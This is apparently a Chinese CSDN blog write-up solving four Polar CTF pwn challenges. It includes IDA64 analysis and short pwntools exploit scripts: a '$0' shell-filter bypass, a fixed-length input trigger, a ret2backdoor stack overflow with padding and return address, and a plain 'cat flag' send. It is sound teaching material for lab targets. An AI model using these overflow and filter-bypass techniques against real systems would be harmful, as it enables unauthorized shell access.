Polar PWN内容WP

本文详细描述了四个逆向工程和安全漏洞利用的实例,涉及4种不同的程序保护机制(如NX和Canary),通过IDA64分析,利用溢出技巧绕过防护,最终获取flag。作者使用Python的`pwn`库进行远程攻击演示。
摘要由CSDN通过智能技术生成

一、sandbox

先下载文件

将文件放进虚拟机中查看一下

发现是一个64位程序,并且开启Canary和NX保护


简单介绍一下 #本段内容取至其他博主

NX保护机制:将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

Stack保护机制:在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致。


我们继续,将程序丢入IDA64中查看一下main函数

发现一个叫box的函数,进去看一看

发现buf不能输入sh cat flag 但又要给buf赋值来执行system命令得到权限

这里我也不会,看了WP发现是给buf输入$0

懂的人可以评论说一下 蟹蟹~

明白之后编写脚本

from pwn import *
r =remote("120.46.59.242", 2117)
payload='$0'
r.sendline(payload)
r.interactive()

然后运行脚本

得到flag

二、creeper

老规矩,下载丢进虚拟机看一下(下载就不截图了)

ELF 64位程序,并且只开启了NX保护

丢进IDA64看一下main函数

看到了一个叫game的函数,双击进去看一下

发现关键信息 system("cat flag");

当buf长度等于15的时候就会执行system("cat flag");

话不多说开干

脚本如下:

from pwn import *
r =remote("ip", port)
r.recvuntil('Creeper?')
r.send('a'*15)

运行后得到FLAG

三、简单溢出

听名字就猜一下,应该是简单的栈溢出

丢进虚拟机看一下

ELF文件,64位程序,开启了NX保护机制

现在进入IDA64 查看一下

就一个输入? 我们在找找看 shift+F12查看一下字符串

看看发现了啥! /bin/sh 这可是个好东西呢

双击看一下位置

跟到fact函数中再看看

经典到不能再经典的后门函数了

记录一下该函数的内存地址 0x400596

然后记录一下偏移量 0x30+8

为啥是0x30+8因为已经标志出来了 [rbp-30]

至于后面的+8 是因为这是64位程序,要是32位就+4

好了偏移量和函数地址都记录了,开搞把

from pwn import *
r =remote("ip", port)
​
sys_addr=0x400596
padding=0x30+8
payload=b'a' * padding + p64(sys_addr)
r.sendline(payload)
r.interactive()
​

然后运行脚本,cat flag得到flag

四、system

老规矩不说了,虚拟机 先file 然后checksec一下

ELF 文件,64位程序,Canary保护,NX保护

然后进IDA

shift+F12 发现没有 /bin/sh 只能老老实实去看一下main函数了

有时我真的怀疑这是认真的么,直接发送cat flag 字符串即可

编写脚本

from pwn import *
r =remote("ip", port)
payload=b'cat flag'
r.sendline(payload)
r.interactive()

运行后得到flag

  • 42
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值